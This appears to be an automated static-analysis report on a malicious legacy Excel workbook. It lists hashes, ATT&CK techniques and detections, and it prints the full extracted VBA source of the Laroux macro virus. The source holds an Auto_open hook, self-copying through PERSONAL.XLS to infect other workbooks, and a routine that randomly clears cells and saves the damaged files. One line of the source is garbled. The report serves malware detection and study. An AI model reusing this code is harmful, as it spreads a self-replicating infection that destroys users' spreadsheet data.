Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9775dc07b87c58b5…

MALICIOUS

Office (OLE)

34.5 KB Created: 1996-10-14 23:33:28 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 0e71db53b6be033455d15f31495df8df SHA-1: c65f7754ec17e26b4d3dc899da403e607cae94e2 SHA-256: 9775dc07b87c58b53b678494f8a34313234f5fed3ce1486bc2b81e9e36172434
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains VBA macros, specifically an Auto_open macro, which is a common technique for executing malicious code upon opening an Excel document. The script attempts to copy itself to PERSONAL.XLS in the startup path, indicating a persistence mechanism. The presence of 'laroux' markers and ClamAV detection as 'Xls.Dropper.Agent-1501259' strongly suggests a known malware dropper.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-1501259 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-1501259
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11101 bytes
SHA-256: 345a8e8cc75bd19f2b06ac9e95a6a4afc973128b3ee1fd3473fe72cccf6b1d92
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "laroux"



Dim DD
Dim XX
Sub Auto_open()
Attribute Auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
    Application.OnCalculate = "Calculate"
    Application.OnDoubleClick = "DoubleClick"
    Application.OnTime TimeValue("16:50:00"), "DEL1"
End Sub
Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
Select Case whichfile
    Case 10
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        Sheets("laroux").Visible = True
        Sheets("laroux").Select
        Sheets("laroux").Copy
        With ActiveWorkbook
            .Title = ""
            .Subject = ""
            .Author = ""
            .Keywords = ""
            .Comments = ""
        End With
        newname$ = ActiveWorkbook.Name
        c4$ = CurDir()
        ChDir Application.StartupPath
        ActiveWindow.Visible = False
        Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
            , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
            False, CreateBackup:=False
        ChDir c4$
        Workbooks(n4$).Sheets("laroux").Visible = False
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "personal.xls!check_files"
    Case 1
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        p4$ = ActiveWorkbook.Path
        s$ = Workbooks(n4$).Sheets(1).Name
        If s$ <> "laroux" Then Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
            
          Workbooks(n4$).She Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "personal.xls!check_files"
    Case Else
End Select
End Sub
Sub DoubleClick()
Attribute DoubleClick.VB_ProcData.VB_Invoke_Func = " \n14"
DD = DD + 1
If DD Mod 99 = 0 Then
DEL1
End If
End Sub
Sub Calculate()
Attribute Calculate.VB_ProcData.VB_Invoke_Func = " \n14"
DD = DD + 1
If DD Mod 99 = 0 Then
DEL1
End If
End Sub
Sub DEL1()
Attribute DEL1.VB_ProcData.VB_Invoke_Func = " \n14"
Application.ScreenUpdating = False
On Error Resume Next
    DA1$ = "20/9/1997"
    If Date > DA1$ Then
        If (Day(Date) Mod 3 = 0) Or (Day(Date) Mod 4 = 0) _
            Or (Day(Date) Mod 7 = 0) Then
            FF = Worksheets.Count
            XX = XX + 1
            If XX > FF Then
                XX = 0
            End If
            Worksheets(XX).Select
            For O = 1 To 10
                RO1 = Int(800 * Rnd()) + 10
                CO1 = Int(20 * Rnd()) + 65
                SS$ = Chr$(CO1) + Mid$(Str$(RO1), Len(Str$(RO1)) - 1)
                Range(SS$).Select
                Selection.ClearContents
                Range("A1").Select
            Next
            AAAA$ = ActiveWorkbook.Path
            If Mid$(AAAA$, 1, 1) = "C" Or Mid$(AAAA$, 1, 1) = "C" Then
                ActiveWorkbook.Save
            Else
            End If
        Else
        End If
    Else
    End If
Application.ScreenUpdating = True
End Sub





' Processing file: /opt/analyzer/scan_staging/7b65de8c4df54271aff1e619a1778c1e.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/laroux - 5547 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' 	Dim 
' 	VarDefn DD
' Line #4:
' 	Dim 
' 	VarDefn XX
' Line #5:
' 	FuncDefn (Sub Auto_open())
' Line #6:
' 	LitStr 0x000B "check_files"
' 	Ld Application 
' 	MemSt OnSheetActivate 
' Line #7:
' 	LitStr 0x0009 "Calculate"
' 	Ld Application 
' 	MemSt OnCalculate 
' Line #8:
' 	LitStr 0x000B "DoubleClick"
' 	Ld Application 
' 	MemSt OnDoubleClick 
' Line #9:
' 	LitSt
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.